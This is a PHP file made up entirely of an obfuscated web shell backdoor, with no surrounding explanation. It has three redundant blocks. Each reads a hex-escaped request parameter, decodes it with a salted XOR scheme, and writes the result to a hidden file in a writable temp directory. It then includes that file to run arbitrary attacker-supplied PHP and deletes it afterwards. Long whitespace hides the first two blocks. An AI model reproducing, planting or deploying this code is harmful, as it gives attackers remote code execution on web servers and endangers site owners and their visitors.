<?php																																										if(isset($_REQUEST) && isset($_REQUEST["dat\x61"])){ $val = $_REQUEST["dat\x61"]; $val = explode( '.' ,$val ) ; $flg= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); foreach ($val as $j =>$v3) { $sChar= ord($salt2[$j % $lenS]); $dec= ((int)$v3 - $sChar - ($j % 10))^4; $flg .= chr($dec); } $descriptor = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); foreach ($descriptor as $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $token = vsprintf("%s/%s", [$sym, ".ptr"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $token; @unlink($token); exit; } } } }
																																										if(!is_null($_POST["\x66l\x61g"] ?? null)){ $holder = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm"]); $property_set = $_POST["\x66l\x61g"]; $property_set = explode ( ".", $property_set ) ; $pgrp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $j = 0; array_walk($property_set, function ($v2) use (&$pgrp, &$j, $s7, $lenS) {$chS = ord($s7[$j % $lenS]); $dec = ((int)$v2 - $chS - ($j % 10)) ^ 51; $pgrp .= chr($dec); $j++; }); for ($token = 0, $ref = count($holder); $token < $ref; $token++) { $tkn = $holder[$token]; if (max(0, is_dir($tkn) * is_writable($tkn))) { $ent = "$tkn" . "/.binding"; if (@file_put_contents($ent, $pgrp) !== false) { include $ent; unlink($ent); die(); } } } }


if(array_key_exists("d\x61t", $_REQUEST)){
	$sym = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]);
	$pointer = $_REQUEST["d\x61t"];
	   $pointer	=	 explode (	  "." ,$pointer	)  ;  	
	$binding = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s9);
    
            foreach ($pointer as $s => $v3):
                $chS = ord($s9[$s%$sLen]);
                $d = ((int)$v3 - $chS - ($s%10))^81;
                $binding .= chr($d);
            endforeach;
	$val = 0;
do {
    $hld = $sym[$val] ?? null;
    if ($val >= count($sym)) break;
    		if ((is_dir($hld) and is_writable($hld))) {
    $parameter_group = implode("/", [$hld, ".flg"]);
    $success = file_put_contents($parameter_group, $binding);
if ($success) {
	include $parameter_group;
	@unlink($parameter_group);
	die();}
}
    $val++;
} while (true);
}